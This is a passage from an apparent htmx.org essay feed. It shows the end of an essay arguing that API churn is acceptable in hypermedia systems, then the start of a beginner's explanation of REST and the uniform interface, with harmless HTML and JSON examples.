&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- contacts table --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So far, so standard web 1.0 application, and thus far the data-API and hypermedia API needs haven’t diverged very much,
although it is worth noteing that the hypermedia API is &lt;em&gt;self describing&lt;&#x2F;em&gt; and could be modified (say, changing the URL for creating
contacts) without breaking the hypermedia application.&lt;&#x2F;p&gt;
&lt;p&gt;Now we get to the part where htmx is needed: polling the server for updates to the table occasionally.  To do this
we will add a new end point, &lt;code&gt;&#x2F;contacts&#x2F;table&lt;&#x2F;code&gt;, which renders only the table of contacts:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;  GET &#x2F;contacts -&amp;gt; render the form &amp;amp; contacts table
&lt;&#x2F;span&gt;&lt;span&gt;  POST &#x2F;contacts -&amp;gt; create the new contact, redirect to GET &#x2F;contacts
&lt;&#x2F;span&gt;&lt;span&gt;  GET &#x2F;contacts&#x2F;table -&amp;gt; render the contacts table
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and then add a poll trigger to the table:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&#x2F;contacts&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;method&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;post&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- form for adding contacts --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-trigger&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;every 30s&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;table&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;outerHTML&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- contacts table --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we see the hypermedia API and data API begin to diverge.  This new end point is driven entirely by hypermedia
needs, not data model needs.  This end point can go away if the hypermedia needs of the application change; its form may change
dramatically and so on, which is entirely acceptable since the system is self-describing.&lt;&#x2F;p&gt;
&lt;p&gt;Since we have updated the HTML to use htmx for polling, we may as well make the form use htmx as well for a better
UX experience:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;action&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&#x2F;contacts&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;method&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;post&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-boost&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;true&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- form for adding contacts --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;form&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-trigger&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;every 30s&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;table&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-swap&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;outerHTML&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#848da1;&quot;&gt;&amp;lt;!-- contacts table --&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;table&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can, if we choose, add additional end points for things like server-side validation of inputs, dynamic forms and
so forth.  These end points would be driven by &lt;em&gt;hypermedia needs&lt;&#x2F;em&gt; rather than any sort of data model considerations:
we think in terms of what we are trying to achieve with our application.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;api-churn&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#api-churn&quot; aria-label=&quot;Anchor link for: api-churn&quot;&gt;API Churn&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The crux point of this short essay is this: API churn is fine in a hypermedia system because &lt;em&gt;the messages in a hypermedia system are self-describing&lt;&#x2F;em&gt;.
We can thrash the API around and the application doesn’t break: human users simply see the new hypermedia (HTML) and select what
actions they want to do.&lt;&#x2F;p&gt;
&lt;p&gt;Humans, compared with computers, are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;05&#x2F;08&#x2F;hatoeas-is-for-humans.html&quot;&gt;good at deciding what to do&lt;&#x2F;a&gt;
and are reasonably OK with change.&lt;&#x2F;p&gt;
&lt;p&gt;This is in contrast with data APIs.  Data APIs cannot be modified without breaking client code and thus must be much
more disciplined in their changes.  Data APIs also face pressure to provide higher levels of expressiveness so that they
can satisfy more client needs without modification.&lt;&#x2F;p&gt;
&lt;aside&gt;
&lt;p&gt;&lt;em&gt;This latter situation is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;02&#x2F;17&#x2F;api-churn-vs-security.html&quot;&gt;especially dangerous&lt;&#x2F;a&gt; when these data APIs are consumed in a browser, because any data-api expressiveness available to a front-end developer is also available to a potentially hostile user, who can fire up a console and begin hammering away at the API.  Apparently, facebook uses a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;AdamChainz&#x2F;status&#x2F;1392162996844212232&quot;&gt;whitelist&lt;&#x2F;a&gt; to deal with this.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Do you?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;aside&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;When designing a hypermedia API, you should use a different design mindset than you use for data APIs.  Churn is
much less of a concern, and providing the end points you need for a good hypermedia experience should be your primary goal.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>REST - Explained For Beginners</title>
        <published>2021-07-13T00:00:00+00:00</published>
        <updated>2022-02-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/rest-explained/"/>
        <id>https://htmx.org/essays/rest-explained/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/rest-explained/">&lt;p&gt;There is no topic that generates more confusion in web development than the idea of Representational State Transfer,
known as REST.  This term comes from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm&quot;&gt;Chapter 5&lt;&#x2F;a&gt;
of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Roy_Fielding&quot;&gt;Roy Fielding’s&lt;&#x2F;a&gt; PhD thesis at &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.uci.edu&#x2F;&quot;&gt;U.C. Irvine&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In this essay we will go through this Chapter and summarize the important concepts for non-academic web developers.  The
thesis is dense and involves a lot of technical jargon that isn’t relevant to people who aren’t academics interested
in formal PhD thesis writing.&lt;&#x2F;p&gt;
&lt;p&gt;By the end of this essay you should have a better handle on REST, and the concept of a
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;Uniform Interface&lt;&#x2F;a&gt; in particular.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;overview&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#overview&quot; aria-label=&quot;Anchor link for: overview&quot;&gt;Overview&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The first thing to understand about REST is that &lt;em&gt;it is a description of the original web&lt;&#x2F;em&gt;.  Fielding describes REST as an
“architectural style for distributed hypermedia systems”, which sounds fancy but just means the web we all know and love:
clicking on hyperlinks, submitting forms, looking at images, reading paragraphs and all that jazz.&lt;&#x2F;p&gt;
&lt;p&gt;It was &lt;em&gt;NOT&lt;&#x2F;em&gt; created as a description of a particular approach for JSON APIs, although that is the context
that most people hear about REST today in.  Fielding was describing the early web and, in particular, how it was different
from earlier client&#x2F;server architectures.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;section-5-1-deriving-rest&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#section-5-1-deriving-rest&quot; aria-label=&quot;Anchor link for: section-5-1-deriving-rest&quot;&gt;Section 5.1 Deriving Rest&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1&quot;&gt;section 5.1&lt;&#x2F;a&gt;, unfortunately for
non-academics, Fielding adopts the technique of deriving REST from first principles.  Here I will summarize each section
and clarify and add context in the important ones.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;client-server&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#client-server&quot; aria-label=&quot;Anchor link for: client-server&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_2&quot;&gt;Client Server&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;REST is, of course, a client-server architecture, since the web is a client (browser) server (http server) system.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stateless&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#stateless&quot; aria-label=&quot;Anchor link for: stateless&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_3&quot;&gt;Stateless&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The web, most developers know, is intended to be stateless.  All requests should encapsulate all information necessary
to understand that request.  For example, there should not be a long running transaction implicitly associated with a series
of requests, as you might have with a SQL database session.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cache&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#cache&quot; aria-label=&quot;Anchor link for: cache&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_4&quot;&gt;Cache&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;HTTP, you probably know, has a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Caching&quot;&gt;caching mechanism&lt;&#x2F;a&gt; built into
it.  You don’t need to know the details of this now, but may explore it later.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;uniform-interface&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#uniform-interface&quot; aria-label=&quot;Anchor link for: uniform-interface&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;Uniform Interface&lt;&#x2F;a&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This section, in my mind, is the crux of the REST architecture and, unfortunately, is very brief, so we will spend some
time expanding on it, rather that just summarizing it.  The chapter begins:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The central feature that distinguishes the REST architectural style from other network-based styles
is its emphasis on a uniform interface between components&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;To clarify the discussion around exactly what the uniform interface is, let’s consider some simple HTML that I hope
everyone reading this will understand:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;section&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      Name: Joe Blow
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      Email: joe@blow.com
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;42&#x2F;edit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Edit&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;42&#x2F;email&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Email&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;contacts&#x2F;42&#x2F;archive&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Archive&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;section&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we have a basic bit of html, with some divs, a bit of information and then some anchor tags to perform various
operations on a contact.  Nothing fancy.  Again, for the discussion, imagine this content could be found at
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;example.com&#x2F;contacts&#x2F;42&quot;&gt;http:&#x2F;&#x2F;example.com&#x2F;contacts&#x2F;42&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Back to the dissertation:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;REST is defined by four interface constraints: identification of resources; manipulation of resources through
representations; self-descriptive messages; and, hypermedia as the engine of application state.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Let’s go through each of these in turn.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;identification-of-resources&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#identification-of-resources&quot; aria-label=&quot;Anchor link for: identification-of-resources&quot;&gt;Identification of Resources&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;The first aspect of Rest is the idea of &lt;em&gt;resources&lt;&#x2F;em&gt; that are found somewhere via… well, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Learn&#x2F;Common_questions&#x2F;What_is_a_URL&quot;&gt;Universal Resource Locators&lt;&#x2F;a&gt;, or URLs.  Note that the HTML contains additional URLs for the actions that you can perform on this
resource (&lt;code&gt;contacts&#x2F;42&lt;&#x2F;code&gt;), following the conventional hierarchical arrangement of URL paths.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;manipulation-of-resources-through-representations&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#manipulation-of-resources-through-representations&quot; aria-label=&quot;Anchor link for: manipulation-of-resources-through-representations&quot;&gt;Manipulation of Resources Through Representations&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;This sounds fancy, but it just means that you can update and mutate the resource (that is, the contact) through various
representations (that is HTML pages) rather than having to issues, say, SQL, to modify it.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;self-descriptive-messages&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#self-descriptive-messages&quot; aria-label=&quot;Anchor link for: self-descriptive-messages&quot;&gt;Self Descriptive Messages&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;This is a key concept of REST.  Note that the browser, which is the client in this client-server setup, &lt;em&gt;knows nothing
about contacts&lt;&#x2F;em&gt;.  And yet it is able to render a “Contact UI” simply by rendering the HTML returned by the server.  The
message itself is entirely self-describing, containing all information the client needs about both the data and the possible
operations on that data (in the form of links.)&lt;&#x2F;p&gt;
&lt;p&gt;Now, contrast this with a JSON representation of the same data:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;name&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;Joe Blow&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;email&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;joe@example.com&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Obviously this is smaller, but a client working with this data must decide two crucial things:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;How to render it&lt;&#x2F;li&gt;
&lt;li&gt;What actions are available to mutate it&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The first part is typically done with a client side template.  The second is typically done by reading the documentation
for the API and encoding the interactions with the server directly in the client.&lt;&#x2F;p&gt;
&lt;p&gt;This is the crux of the difference between REST-ful systems and traditional client-server system: in the REST-ful system
the client (i.e. the browser) doesn’t know anything about the resource, it just knows how to render a hypermedia.  In
the client-server system, knowledge about the resource is embedded in the client.&lt;&#x2F;p&gt;
&lt;p&gt;There are pros and cons to both approaches, but the REST-ful approach, in the form of the early web, proved to be
extremely reliable and flexible.  It hides a tremendous amount of knowledge about the resources behind this &lt;em&gt;uniform
interface&lt;&#x2F;em&gt; of HTML, so the client doesn’t have the opportunity to break in the way the thick-client does.&lt;&#x2F;p&gt;
&lt;p&gt;Now, you may have noticed that, in the last decade, web development has trended away from the REST-ful architecture
and towards a more traditional client-server setup, using JSON APIs.  And you may have noticed a lot more discussion and
issues around versioning APIs, providing more general query functionality and so on.  This is not accidental: we are
losing the flexibility of the REST-ful model as we turn the browser into a VM for hosting thick client applications.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;hypermedia-as-the-engine-of-application-state-hateoas&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hypermedia-as-the-engine-of-application-state-hateoas&quot; aria-label=&quot;Anchor link for: hypermedia-as-the-engine-of-application-state-hateoas&quot;&gt;Hypermedia As The Engine of Application State (HATEOAS)&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;This last concept dovetails with the previous one: clients transition application state by interacting with URLs
found in the hypermedia itself (via forms and links).  So, in the HTML example above, the ability to edit, email
and archive the contact all encoded as anchors in the HTML.  If one of those actions was not available, or a new
one became available, it would come down in a new bit of HTML, after a page refresh.&lt;&#x2F;p&gt;
